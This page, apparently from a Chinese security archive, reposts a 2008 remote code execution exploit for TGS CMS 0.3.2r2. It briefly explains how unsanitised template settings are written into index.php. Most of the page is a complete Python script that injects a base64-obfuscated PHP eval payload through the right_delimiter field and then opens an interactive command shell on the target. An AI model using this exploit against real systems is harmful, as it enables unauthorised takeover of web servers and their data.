首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TGS CMS 0.3.2r2 Remote Code Execution Exploit
来源:www.dark-coders.pl 作者:0in 发布时间:2008-08-04  
# TGS CMS Remote Code Execution Exploit
# by 0in
# from Dark-Coders Group!
#   www.dark-coders.pl
# Contact: 0in(dot)email[at]gmail(dot)com
# Greetings to:die_angel,suN8Hclf,m4r1usz,cOndemned,str0ke
# Dork:NULL - because "You cannot kill what you did not create" <- Duality by Slipknot
# Let's analyze the vuln:
# We've got the: /cms/admin/admin.template_engine.php
# first line:"<?"
# next 2-22 lines - comments
# 23: if ($_GET['option'] == "set_template") {
# 24: $filename = "../index.php";
# 25: if ((@is_writeable($filename)) && ($handle = @fopen($filename, "w"))) {
# From 50 line to 88 we have definition of file content
# 50: $content = '<?php // here programmer define the file to save in "../index.php"
# but...
# he.. don't think xD
# 77:$tgs_template->template_dir    = "'.$_POST['template_dir'].'";
# 78:$tgs_template->config_dir      = "'.$_POST['config_dir'].'";
# 79:$tgs_template->cms_dir   = "'.$_POST['cms_dir'].'";
# 80:$tgs_template->left_delimiter  = "'.$_POST['left_delimiter'].'";
# 81:$tgs_template->right_delimiter = "'.$_POST['right_delimiter'].'";
# And.. boom!
# 89: if (@fwrite($handle,$content)) {
# Just simply exploit for fun:
import httplib
import urllib
print "TGS CMS Remote Code Execution Exploit"
print "by 0in From Dark-Coders Group"
print "www.dark-coders.pl"
print 'Enter target:'
target=raw_input()
print 'Enter path:'
path=raw_input()
inject="\";error_reporting(0);eval(base64_decode(\"JGNtZD0kX0dFVFsnenVvJ107c3lzdGVtKCRjbWQpO2V4aXQ7\"));//"
exploit=httplib.HTTPConnection(target+':80')
headers={'Content-type':'application/x-www-form-urlencoded',"Accept":"text/plain"}
data=urllib.urlencode({'right_delimiter':inject})
exploit.request("POST",path+"/cms/admin/admin.template_engine.php?option=set_template",data,headers)
print exploit.getresponse().read()
while(1):
cmd=raw_input("[shell@"+target+"]#")
if(cmd=='exit'):
quit()
shell=httplib.HTTPConnection(target+':80')
shell.request("GET",path+"/cms/index.php?zuo="+cmd)
print shell.getresponse().read()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BIND 9.x Remote DNS Cache Pois
·Joomla Component EZ Store Remo
·Xerox Phaser 8400 (reboot) Rem
·IntelliTamper 2.07 (imgsrc) Re
·moziloCMS 1.10.1 (download.php
·Coppermine Photo Gallery <= 1.
·Symphony <= 1.7.01 (non-patche
·NCTsoft AudFile.dll ActiveX Co
·LoveCMS 1.6.2 Final Remote Cod
·Pligg <= 9.9.0 Remote Code Exe
·LoveCMS 1.6.2 Final Update Set
·eNdonesia 8.4 (Calendar Module
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved